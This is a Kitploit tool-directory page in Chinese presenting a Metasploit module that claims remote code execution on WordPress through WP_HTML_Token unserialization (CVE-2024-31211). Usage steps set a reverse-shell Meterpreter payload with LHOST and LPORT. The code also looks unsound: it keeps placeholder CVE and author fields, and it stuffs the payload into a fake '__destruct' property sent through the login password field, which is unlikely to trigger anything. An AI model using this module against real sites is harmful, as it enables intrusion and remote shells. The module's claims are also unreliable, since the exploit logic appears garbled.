Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
-CVE-2024-31211 — Metasploit 模块,利用 WordPress 反序列化漏洞(CVE-2024-31211)中的 WP_HTML_Token 实现远程代码执行。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/-cve-2024-31211
漏洞利用框架漏洞分析代码分析Web应用程序漏洞利用渗透测试Payload 开发
GitHubabdurahmon3236/-cve-2024-31211

-CVE-2024-31211

Metasploit 模块,利用 WordPress 反序列化漏洞(CVE-2024-31211)中的 WP_HTML_Token 实现远程代码执行。

查看仓库
1352年前尚未审核
分享

为了创建一个利用 WordPress 中 WP_HTML_Token 类实例反序列化漏洞的 Metasploit 模块,我们将专注于构造一个触发反序列化缺陷的有效载荷,从而实现任意代码执行。

Metasploit 模块

将以下代码保存为 wordpress_wp_html_token_rce.rb,放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress WP_HTML_Token Unserialization RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in WordPress via
        the unserialization of instances of the `WP_HTML_Token` class. This allows for
        code execution via its `__destruct()` magic method.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-XXXX'],  # Replace with the correct CVE number
          ['URL', 'https://example.com/advisory']  # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [
        ['WordPress <= 5.x', { }]
      ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x00",
        }
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'wp-login.php'),
    })

    if res && res.code == 200 && res.body.include?('wp-login.php')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending payload to trigger unserialization vulnerability")

    serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'

    post_data = {
      'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
      'user_pass'  => serialized_payload,
      'wp-submit'  => 'Log In',
      'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
      'testcookie' => 1
    }

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-login.php'),
      'vars_post' => post_data
    })

    handler
  end
end

使用说明

  1. 保存模块: 将模块保存为 wordpress_wp_html_token_rce.rb,放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。

    /path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
    
  2. 加载 Metasploit: 打开终端并运行以下命令启动 Metasploit Framework:

    msfconsole
    
  3. 使用新模块: 在 Metasploit 控制台中,使用以下命令加载新的漏洞利用模块:

    use exploit/multi/http/wordpress_wp_html_token_rce
    
  4. 配置并运行: 设置必要的选项,例如 RHOSTS、RPORT、TARGETURI 和 PAYLOAD。然后运行模块。

    msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
    PAYLOAD => php/meterpreter/reverse_tcp
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
    LHOST => your_ip
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
    LPORT => 4444
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
    

重要注意事项

  • 在测试或利用任何系统之前,请确保您拥有适当的权限。
  • 此模块仅供教育和测试目的使用。在生产系统上使用之前,请务必在安全可控的环境中进行测试。

此 Metasploit 模块会向存在漏洞的 WordPress 实例发送一个精心构造的序列化有效载荷,试图触发反序列化漏洞并实现任意代码执行。请根据漏洞的具体性质和目标环境调整有效载荷及模块。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    708
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    500
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    398
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    341
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    259
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

探索所有工具

浏览我们的工具集合

查看所有工具 →